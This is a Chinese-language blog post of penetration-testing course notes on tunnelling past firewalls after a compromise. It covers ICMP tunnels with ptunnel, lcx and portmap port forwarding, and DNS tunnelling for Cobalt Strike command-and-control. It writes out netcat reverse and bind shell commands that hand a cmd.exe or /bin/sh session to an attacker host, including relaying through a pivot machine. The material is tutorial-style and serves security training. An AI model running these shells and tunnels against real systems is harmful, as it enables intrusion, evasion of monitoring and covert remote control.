小迪-71隧道技术


71-域横向网络&传输&应用层隧道技术

知识点

代理和隧道技术的区别
1
2
3
代理:解决网络通信问题
隧道:类似过滤绕过,
在实际的网络情况,通常会通过各种边界设备、软硬件防火墙,或入侵检测系统来检查对外连接的情况,如果发现异样,就会对通信进行阻断,那隧道就是一种绕过端口屏蔽的通信方式,防火墙两端的数据包通关防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信,当封装的数据包达到目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
隧道技术为了解决什么
1
2
绕过被防火墙或入侵检测系统拦截的通信
cs、msf无法上线、数据传输不稳定无回显,出口数据被监控,网络通信存在问题等
隧道技术前期的必备条件
1
2
应用场景:已经获得一些控制权,但控制时,有拦截,不能进行信息收集或相关上线操作
获取到权限之后,为了更方便的进行传输,绕过拦截、和一些监控,使操作不会异常。

常用的隧道技术

网络层:ipv6隧道、icmp隧道

传输层:tcp隧道、udp隧道、常规端口转发

应用层:ssh隧道、http/s隧道、dns隧道

实例

案例1-网络传输应用层检测连通性-检测

使用隧道之前需要探测目标机是否支持这种协议

tcp协议

  • 用瑞士军刀-netcat
  • 执行nc命令:nc ip 端口

http协议

  • 用curl工具,curl <ip地址:端口>命令,如果远程主机开启了相应的端口,且内网可连接外网的话,就会输入相应的端口信息

dns协议

  • 检测dns连通性的常用命令是 nslookup和dig
  • nslookup是windows自带的dns探测命令
  • dig是linux自带的dns探测命令

icmp协议

  • ping命令检测
  • ping ip地址/域名

案例2-网络层icmp隧道ptunnel使用-检测、利用

环境

检测性,即用相关命令检测是否能通信(icmp利用ping命令或)

  • kali2002-target2-target3
  • pingtunnel是把tcp/udp/sock5(受到防火墙或工具拦截)流量伪装成icmp流量进行转发
1
2
3
4
5
6
7
8
9
10
11
12
-p  表示链接icmp隧道另一端的机器ip(即目标服务器)
-lp 表示需要监听的本地tcp端口
-da 指定需要转发的机器的ip(即目标内网某一台机器的内网ip)
-dp 指定需要转发的机器的端口(即目标内某一台机器的内网端口)
-x 设置连接的密码
webserver:./ptunnel -x 密码
攻击机:./ -p 跳板机的ip -lp (将目标机器的端口转发到攻击机的端口)监听的本地tcp端口 -da 目标机ip -dp 目标机端口 -x 密码 #转发的dp的请求数据给本地的端口即
lp
攻击机:连接 rdesktop 127.0.0.1 +lp设置的端口
这样连接上去走的协议就是icmp。
流程:连接跳板机的ip,指定目标机的ip和端口,并将这个端口通过跳板机转发到
攻击机的某端口上,从而实现端口转发

案例3-传输层转发隧道portmap使用-检测利用

端口转发工具:windows:lcx linux:portmap

1
2
3
4
5
6
7
8
9
10
11
12
lcx:lcx.exe -slave 攻击ip 3131  本地ip 3389(把本地的3389 转发到攻击ip 3131上)
跳板机:lcx -listen 3131 3333 (监听3131转发到3333上)
攻击机:rdesktop 跳板机 3333

通过内网服务器的某一个端口映射到公网另一台服务器的端口上
传输层端口转发
环境:内网主机1 (无法出网,但是能和内网的主机交互) 192.168.33.33
内网主机2 (跳板机,可以出网) 192.168.33.11 192.168.32.129
攻击机kali 192.168.32.128

端口映射:端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务。
当用户访问外网IP的这个端口时,服务器自动将请求映射到对应局域网内部的机器上

案例4-传输层转发隧道netcat使用-检测、利用、功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
双向连接反弹shell
正向:攻击者连接受害
- 受害:nc -lp 1234 -e c:windows\system32\cmd.exe #windows
- nc -lp 1234 -e /bin/sh #linux
- 攻击:nc 受害者ip 1234 成功反弹cmd窗口
反向:受害者连接攻击者
- 攻击者:nc -lvp 本地1234端口
- 受害者:nc 攻击ip 1234 -e c:windows/system32/cmd.exe
nc 攻击ip 1234 -e bin/sh

多向连接反弹shell-配合转发
反向:
- 内网机器1和kali有一个相通的网段
- 内网机器1和内网机器2有相通的网段
- 内网机器1:lcx.exe -listen 2222 3333 (内网机器1 监听2222转发到3333)
- 内网机器2:nc 192.168.3.31 2222 -e c:\windwos\system32\cmd.exe (内网机器2把自己的cmd会话给内网机器1的2222端口)
- kali:攻击机:nc -v 内网机器1 3333 (kali连接内网机器1的3333端口)
(流程解释:内网机器1将2222端口的信息都转发到3333端口上,内网机器2生成一个cmd窗口给内网机器1的2222端口,然后被转发到3333端口上了,这是
- kali监听内网机器1的3333端口,即获取了cmd会话)

相关netcat主要功能测试
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp port
文件传输:nc -lp 1111 >1.txt | nc -vn ip port < 1.txt -q 1
反弹shell: 反向或正向 如上

注意!nc老版本是不能反弹shell的
ubuntu安装命令:apt-get -y install netcat-traditional
ubuntu默认安装的是netcat-openbsd,不能反弹shell,需要运行命令进行配置
(root下运行)update-alternatives --config nc 选择 /bin/nc.traditional的编号

案例5-应用层dns隧道配合cs上线-检测、利用、说明

ssh隧道、http/s隧道、dns隧道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
当常见协议监听器被拦截时,可以换其他协议上线, dns协议上线基本通杀
- cs生成监听时,可以选择payload协议,如果对方服务器防火墙或入侵检测拦截过滤某协议,那就不能进行后续操作,
这时我们就需要其他协议进行绑定。
- 云主机配置端口53启用-udp
- 买一个域名修改解析记录
- a记录->服务器主机名->服务器ip
- NS记录-ns1主机名-上个a记录地址
- ns记录-ns2主机名-上个a记录地址
-配置dns监听器内容
- ns1.域名.com
- ns2.域名.com
- 服务器.域名.com
- 生成后门,选择设置的监听器
- 靶机运行,但dns上线,cs显示unknown,但dns是过程性的,
所以需要等待一下,而且需要输入启用命令
- 启用命令:
- checkin [*]
- mode dns-txt
- shell 加命令即可


文章作者: John Doe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 John Doe !
  目录